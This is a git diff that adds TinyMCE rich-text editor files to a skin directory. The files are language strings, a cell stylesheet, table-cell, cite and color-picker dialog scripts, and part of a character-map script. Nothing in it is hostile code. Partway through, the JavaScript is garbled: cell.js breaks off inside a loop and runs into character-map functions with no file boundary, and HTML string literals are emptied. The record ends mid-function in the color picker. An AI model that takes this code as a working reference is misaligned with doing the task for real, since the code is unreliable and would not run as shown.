yoxdur",width:"Eni",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/bg.js b/js/tiny_mce/themes/advanced/skins/o2k7/bg.js new file mode 100755 index 0000000..6587c73 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/bg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0447\u0435\u0440 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u0434\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f",dt:"\u0414\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f ",samp:"\u041f\u0440\u043e\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442",h6:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",h5:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",h4:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",h3:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",h2:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",h1:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",pre:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","style_select":"\u0421\u0442\u0438\u043b\u043e\u0432\u0435","anchor_delta_height":"","more_colors":"\u041e\u0449\u0435 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","toolbar_focus":"\u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0431\u0443\u0442\u043e\u043d\u0438\u0442\u0435 - Alt+Q, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 - Alt-Z, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u043f\u044a\u0442\u0435\u043a\u0430\u0442\u0430 \u043d\u0430 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438\u0442\u0435 - Alt-X",newdocument:"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0438\u0441\u043a\u0430\u0442\u0435 \u0434\u0430 \u0438\u0437\u0447\u0438\u0441\u0442\u0438\u0442\u0435 \u0446\u044f\u043b\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435?",path:"\u041f\u044a\u0442","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435/\u041e\u0442\u0440\u044f\u0437\u0432\u0430\u043d\u0435/\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0435 \u0435 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e \u043f\u043e\u0434 Mozilla \u0438 Firefox.\n\u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442","help_desc":"\u041f\u043e\u043c\u043e\u0449","newdocument_desc":"\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430","paste_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435","cut_desc":"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435","anchor_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","visualaid_desc":"\u0412\u043a\u043b./\u0438\u0437\u043a\u043b. \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0438\u0442\u0435 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430","forecolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0412\u0430\u0448\u0435\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u0443\u043a","removeformat_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e","hr_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u044f","sup_desc":"\u0413\u043e\u0440\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u0414\u043e\u043b\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 HTML","cleanup_desc":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438 \u043a\u043e\u0434\u0430","image_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","unlink_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","redo_desc":"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u044f\u043d\u0430 (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","outdent_desc":"\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","numlist_desc":"\u041d\u043e\u043c\u0435\u0440\u0430","bullist_desc":"\u0412\u043e\u0434\u0430\u0447\u0438","justifyfull_desc":"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e","justifyright_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u0434\u044f\u0441\u043d\u043e","justifycenter_desc":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e","justifyleft_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u043b\u044f\u0432\u043e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u043d","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-F10 \u0437\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449","rich_text_area":"\u0417\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0442\u0435\u043a\u0441\u0442","shortcuts_desc":"\u0417\u0430 \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e Help",toolbar:"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/bg_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/bg_dlg.js new file mode 100755 index 0000000..50d9d37 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advhr_dlg',{size:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",noshade:"\u0411\u0435\u0437 \u0441\u044f\u043d\u043a\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",normal:"\u041d\u043e\u0440\u043c\u0430\u043b\u043d\u0430",widthunits:"\u0415\u0434\u0438\u043d\u0438\u0446\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ca.js b/js/tiny_mce/themes/advanced/skins/o2k7/ca.js new file mode 100755 index 0000000..4e4be8e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ca.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advanced',{"underline_desc":"Subratllat (Ctrl+U)","italic_desc":"Cursiva (Ctrl+I)","bold_desc":"Negreta (Ctrl+B)",dd:"Descripci\u00f3 de definici\u00f3",dt:"Terme de definici\u00f3 ",samp:"Mostra el Codi",code:"Codi",blockquote:"Citabloc",h6:"Encap\u00e7alament 6",h5:"Encap\u00e7alament 5",h4:"Encap\u00e7alament 4",h3:"Encap\u00e7alament 3",h2:"Encap\u00e7alament 2",h1:"Encap\u00e7alament 1",pre:"Preformatat",address:"Adre\u00e7a",div:"Capa",paragraph:"Par\u00e0graf",block:"Format",fontdefault:"Fam\u00edlia de font","font_size":"Mida de font","style_select":"Estils","more_colors":"M\u00e9s colors","toolbar_focus":"Salta als botons d\'eina - Alt Q, Salta a l\'editor - Alt-Z, Salta al cam\u00ed de l\'element - Alt-X",newdocument:"Esteu segur que voleu buidar tots els continguts?",path:"Cam\u00ed","clipboard_msg":"Copia/Retalla/Enganxa no es troba disponible ni al Mozilla ni al Firefox. Voleu m\u00e9s informaci\u00f3 sobre aix\u00f2?","blockquote_desc":"Citabloc","help_desc":"Ajuda","newdocument_desc":"Nou document","image_props_desc":"Propietats de la imatge","paste_desc":"Enganxa","copy_desc":"Copia","cut_desc":"Retalla","anchor_desc":"Insereix/edita \u00e0ncora","visualaid_desc":"Commuta elements guies/invisibles","charmap_desc":"Insereix un car\u00e0cter","backcolor_desc":"Selecci\u00f3 del color de fons","forecolor_desc":"Selecci\u00f3 del color de text","custom1_desc":"Aqu\u00ed la vostra pr\u00f2pia descripci\u00f3","removeformat_desc":"Elimina el format","hr_desc":"Insereix un filet horitzontal","sup_desc":"Super\u00edndex","sub_desc":"Sub\u00edndex","code_desc":"Edita el codi font HTML","cleanup_desc":"Poleix el codi","image_desc":"Insereix/edita imatge","unlink_desc":"Desenlla\u00e7a","link_desc":"Insereix/edita enlla\u00e7","redo_desc":"Ref\u00e9s (Ctrl+Y)","undo_desc":"Desf\u00e9s (Ctrl+Z)","indent_desc":"Augmenta el sagnat","outdent_desc":"Redueix el sagnat","numlist_desc":"Llista numerada","bullist_desc":"Llista no numerada","justifyfull_desc":"Justificat","justifyright_desc":"Alineaci\u00f3 dreta","justifycenter_desc":"Alineaci\u00f3 al centre","justifyleft_desc":"Alineaci\u00f3 esquerra","striketrough_desc":"Barrat","help_shortcut":"Prem ALT-F10 per barra d\'eines. Prem ALT-0 per ajuda","rich_text_area":"\u00c0rea de Text Enriquit","shortcuts_desc":"Ajuda d\'Accessabilitat",toolbar:"Barra d\'eines","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ca_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/ca_dlg.js new file mode 100755 index 0000000..4ef7222 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advhr_dlg',{size:"Al\u00e7ada",noshade:"Sense sombra",width:"Amplada",normal:"Normal",widthunits:"Unitats"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/cell.css b/js/tiny_mce/themes/advanced/skins/o2k7/cell.css new file mode 100755 index 0000000..a47cc1a --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/cell.css @@ -0,0 +1,17 @@ +/* CSS file for cell dialog in the table plugin */ + +.panel_wrapper div.current { + height: 200px; +} + +.advfield { + width: 200px; +} + +#action { + margin-bottom: 3px; +} + +#class { + width: 150px; +} \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/cell.js b/js/tiny_mce/themes/advanced/skins/o2k7/cell.js new file mode 100755 index 0000000..53bdb54 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/cell.js @@ -0,0 +1,319 @@ +tinyMCEPopup.requireLangPack(); + +var ed; + +function init() { + ed = tinyMCEPopup.editor; + tinyMCEPopup.resizeToInnerSize(); + + document.getElementById('backgroundimagebrowsercontainer').innerHTML = getBrowserHTML('backgroundimagebrowser','backgroundimage','image','table'); + document.getElementById('bordercolor_pickcontainer').innerHTML = getColorPickerHTML('bordercolor_pick','bordercolor'); + document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor') + + var inst = ed; + var tdElm = ed.dom.getParent(ed.selection.getStart(), "td,th"); + var formObj = document.forms[0]; + var st = ed.dom.parseStyle(ed.dom.getAttrib(tdElm, "style")); + + // Get table cell data + var celltype = tdElm.nodeName.toLowerCase(); + var align = ed.dom.getAttrib(tdElm, 'align'); + var valign = ed.dom.getAttrib(tdElm, 'valign'); + var width = trimSize(getStyle(tdElm, 'width', 'width')); + var height = trimSize(getStyle(tdElm, 'height', 'height')); + var bordercolor = convertRGBToHex(getStyle(tdElm, 'bordercolor', 'borderLeftColor')); + var bgcolor = convertRGBToHex(getStyle(tdElm, 'bgcolor', 'backgroundColor')); + var className = ed.dom.getAttrib(tdElm, 'class'); + var backgroundimage = getStyle(tdElm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + var id = ed.dom.getAttrib(tdElm, 'id'); + var lang = ed.dom.getAttrib(tdElm, 'lang'); + var dir = ed.dom.getAttrib(tdElm, 'dir'); + var scope = ed.dom.getAttrib(tdElm, 'scope'); + + // Setup form + addClassesToList('class', 'table_cell_styles'); + TinyMCE_EditableSelects.init(); + + if (!ed.dom.hasClass(tdElm, 'mceSelected')) { + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.backgroundimage.value = backgroundimage; + formObj.width.value = width; + formObj.height.value = height; + formObj.id.value = id; + formObj.lang.value = lang; + formObj.style.value = ed.dom.serializeStyle(st); + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'valign', valign); + selectByValue(formObj, 'class', className, true, true); + selectByValue(formObj, 'celltype', celltype); + selectByValue(formObj, 'dir', dir); + selectByValue(formObj, 'scope', scope); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + } else + tinyMCEPopup.dom.hide('action'); +} + +function updateAction() { + var el, inst = ed, tdElm, trElm, tableElm, formObj = document.forms[0]; + + if (!AutoValidator.validate(formObj)) { + tinyMCEPopup.alert(AutoValidator.getErrorMessages(formObj).join('. ') + '.'); + return false; + } + + tinyMCEPopup.restoreSelection(); + el = ed.selection.getStart(); + tdElm = ed.dom.getParent(el, "td,th"); + trElm = ed.dom.getParent(el, "tr"); + tableElm = ed.dom.getParent(el, "table"); + + // Cell is selected + if (ed.dom.hasClass(tdElm, 'mceSelected')) { + // Update all selected sells + tinymce.each(ed.dom.select('td.mceSelected,th.mceSelected'), function(td) { + updateCell(td); + }); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + return; + } + + switch (getSelectValue(formObj, 'action')) { + case "cell": + var celltype = getSelectValue(formObj, 'celltype'); + var scope = getSelectValue(formObj, 'scope'); + + function doUpdate(s) { + if (s) { + updateCell(tdElm); + + ed.addVisual(); + ed.nodeChanged(); + inst.execCommand('mceEndUndoLevel'); + tinyMCEPopup.close(); + } + }; + + if (ed.getParam("accessibility_warnings", 1)) { + if (celltype == "th" && scope == "") + tinyMCEPopup.confirm(ed.getLang('table_dlg.missing_scope', '', true), doUpdate); + else + doUpdate(1); + + return; + } + + updateCell(tdElm); + break; + + case "row": + var cell = trElm.firstChild; + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + cell = updateCell(cell, true); + } while ((cell = nextCell(cell)) != null); + + break; + + case "col": + var curr, col = 0, cell = trElm.firstChild, rows = tableElm.getElementsByTagName("tr"); + + if (cell.nodeName != "TD" && cell.nodeName != "TH") + cell = nextCell(cell); + + do { + if (cell == tdElm) + break; + col += cell.getAttribute("colspan"); + } while ((cell = nextCell(cell)) != null); + + for (var i=0; i'; + var cols=-1; + + for (i=0; i' + + '' + + charmap[i][1] + + ''; + if ((cols+1) % charsPerRow == 0) + html += ''; + } + } + + if (cols % charsPerRow > 0) { + var padd = charsPerRow - (cols % charsPerRow); + for (var i=0; i '; + } + + html += ''; + html = html.replace(/<\/tr>/g, ''); + + return html; +} + +function insertChar(chr) { + tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); + + // Refocus in window + if (tinyMCEPopup.isWindow) + window.focus(); + + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); +} + +function previewChar(codeA, codeB, codeN) { + var elmA = document.getElementById('codeA'); + var elmB = document.getElementById('codeB'); + var elmV = document.getElementById('codeV'); + var elmN = document.getElementById('codeN'); + + if (codeA=='#160;') { + elmV.innerHTML = '__'; + } else { + elmV.innerHTML = '&' + codeA; + } + + elmB.innerHTML = '&' + codeA; + elmA.innerHTML = '&' + codeB; + elmN.innerHTML = codeN; +} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/cite.js b/js/tiny_mce/themes/advanced/skins/o2k7/cite.js new file mode 100755 index 0000000..b73ef47 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/cite.js @@ -0,0 +1,28 @@ +/** + * cite.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('cite'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertCite() { + SXE.insertElement('cite'); + tinyMCEPopup.close(); +} + +function removeCite() { + SXE.removeElement('cite'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/color_picker.js b/js/tiny_mce/themes/advanced/skins/o2k7/color_picker.js new file mode 100755 index 0000000..3cbf32c --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/color_picker.js @@ -0,0 +1,329 @@ +tinyMCEPopup.requireLangPack(); + +var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; + +var colors = [ + "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", + "#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", + "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", + "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", + "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", + "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", + "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", + "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", + "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", + "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", + "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", + "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", + "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", + "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", + "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", + "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", + "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", + "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", + "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", + "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", + "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", + "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", + "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", + "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", + "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", + "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", + "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" +]; + +var named = { + '#F0F8FF':'Alice Blue','#FAEBD7':'Antique White','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', + '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'Blanched Almond','#0000FF':'Blue','#8A2BE2':'Blue Violet','#A52A2A':'Brown', + '#DEB887':'Burly Wood','#5F9EA0':'Cadet Blue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'Cornflower Blue', + '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'Dark Blue','#008B8B':'Dark Cyan','#B8860B':'Dark Golden Rod', + '#A9A9A9':'Dark Gray','#A9A9A9':'Dark Grey','#006400':'Dark Green','#BDB76B':'Dark Khaki','#8B008B':'Dark Magenta','#556B2F':'Dark Olive Green', + '#FF8C00':'Darkorange','#9932CC':'Dark Orchid','#8B0000':'Dark Red','#E9967A':'Dark Salmon','#8FBC8F':'Dark Sea Green','#483D8B':'Dark Slate Blue', + '#2F4F4F':'Dark Slate Gray','#2F4F4F':'Dark Slate Grey','#00CED1':'Dark Turquoise','#9400D3':'Dark Violet','#FF1493':'Deep Pink','#00BFFF':'Deep Sky Blue', + '#696969':'Dim Gray','#696969':'Dim Grey','#1E90FF':'Dodger Blue','#B22222':'Fire Brick','#FFFAF0':'Floral White','#228B22':'Forest Green', + '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'Ghost White','#FFD700':'Gold','#DAA520':'Golden Rod','#808080':'Gray','#808080':'Grey', + '#008000':'Green','#ADFF2F':'Green Yellow','#F0FFF0':'Honey Dew','#FF69B4':'Hot Pink','#CD5C5C':'Indian Red','#4B0082':'Indigo','#FFFFF0':'Ivory', + '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'Lavender Blush','#7CFC00':'Lawn Green','#FFFACD':'Lemon Chiffon','#ADD8E6':'Light Blue', + '#F08080':'Light Coral','#E0FFFF':'Light Cyan','#FAFAD2':'Light Golden Rod Yellow','#D3D3D3':'Light Gray','#D3D3D3':'Light Grey','#90EE90':'Light Green', + '#FFB6C1':'Light Pink','#FFA07A':'Light Salmon','#20B2AA':'Light Sea Green','#87CEFA':'Light Sky Blue','#778899':'Light Slate Gray','#778899':'Light Slate Grey', + '#B0C4DE':'Light Steel Blue','#FFFFE0':'Light Yellow','#00FF00':'Lime','#32CD32':'Lime Green','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', + '#66CDAA':'Medium Aqua Marine','#0000CD':'Medium Blue','#BA55D3':'Medium Orchid','#9370D8':'Medium Purple','#3CB371':'Medium Sea Green','#7B68EE':'Medium Slate Blue', + '#00FA9A':'Medium Spring Green','#48D1CC':'Medium Turquoise','#C71585':'Medium Violet Red','#191970':'Midnight Blue','#F5FFFA':'Mint Cream','#FFE4E1':'Misty Rose','#FFE4B5':'Moccasin', + '#FFDEAD':'Navajo White','#000080':'Navy','#FDF5E6':'Old Lace','#808000':'Olive','#6B8E23':'Olive Drab','#FFA500':'Orange','#FF4500':'Orange Red','#DA70D6':'Orchid', + '#EEE8AA':'Pale Golden Rod','#98FB98':'Pale Green','#AFEEEE':'Pale Turquoise','#D87093':'Pale Violet Red','#FFEFD5':'Papaya Whip','#FFDAB9':'Peach Puff', + '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'Powder Blue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'Rosy Brown','#4169E1':'Royal Blue', + '#8B4513':'Saddle Brown','#FA8072':'Salmon','#F4A460':'Sandy Brown','#2E8B57':'Sea Green','#FFF5EE':'Sea Shell','#A0522D':'Sienna','#C0C0C0':'Silver', + '#87CEEB':'Sky Blue','#6A5ACD':'Slate Blue','#708090':'Slate Gray','#708090':'Slate Grey','#FFFAFA':'Snow','#00FF7F':'Spring Green', + '#4682B4':'Steel Blue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', + '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'White Smoke','#FFFF00':'Yellow','#9ACD32':'Yellow Green' +}; + +var namedLookup = {}; + +function init() { + var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')), key, value; + + tinyMCEPopup.resizeToInnerSize(); + + generatePicker(); + generateWebColors(); + generateNamedColors(); + + if (inputColor) { + changeFinalColor(inputColor); + + col = convertHexToRGB(inputColor); + + if (col) + updateLight(col.r, col.g, col.b); + } + + for (key in named) { + value = named[key]; + namedLookup[value.replace(/\s+/, '').toLowerCase()] = key.replace(/#/, '').toLowerCase(); + } +} + +function toHexColor(color) { + var matches, red, green, blue, toInt = parseInt; + + function hex(value) { + value = parseInt(value).toString(16); + + return value.length > 1 ? value : '0' + value; // Padd with leading zero + }; + + color = color.replace(/[\s#]+/g, '').toLowerCase(); + color = namedLookup[color] || color; + matches = /^rgb\((\d{1,3}),(\d{1,3}),(\d{1,3})\)|([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})|([a-f0-9])([a-f0-9])([a-f0-9])$/.exec(color); + + if (matches) { + if (matches[1]) { + red = toInt(matches[1]); + green = toInt(matches[2]); + blue = toInt(matches[3]); + } else if (matches[4]) { + red = toInt(matches[4], 16); + green = toInt(matches[5], 16); + blue = toInt(matches[6], 16); + } else if (matches[7]) { + red = toInt(matches[7] + matches[7], 16); + green = toInt(matches[8] + matches[8], 16); + blue = toInt(matches[9] + matches[9], 16); + } + + return '#' + hex(red) + hex(green) + hex(blue); + } + + return ''; +} + +function insertAction() { + var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); + + tinyMCEPopup.restoreSelection(); + + if (f) + f(toHexColor(color)); + + tinyMCEPopup.close(); +} + +function showColor(color, name) { + if (name) + document.getElementById("colorname").innerHTML = name; + + document.getElementById("preview").style.backgroundColor = color; + document.getElementById("color").value = color.toUpperCase(); +} + +function convertRGBToHex(col) { + var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); + + if (!col) + return col; + + var rgb = col.replace(re, "$1,$2,$3").split(','); + if (rgb.length == 3) { + r = parseInt(rgb[0]).toString(16); + g = parseInt(rgb[1]).toString(16); + b = parseInt(rgb[2]).toString(16); + + r = r.length == 1 ? '0' + r : 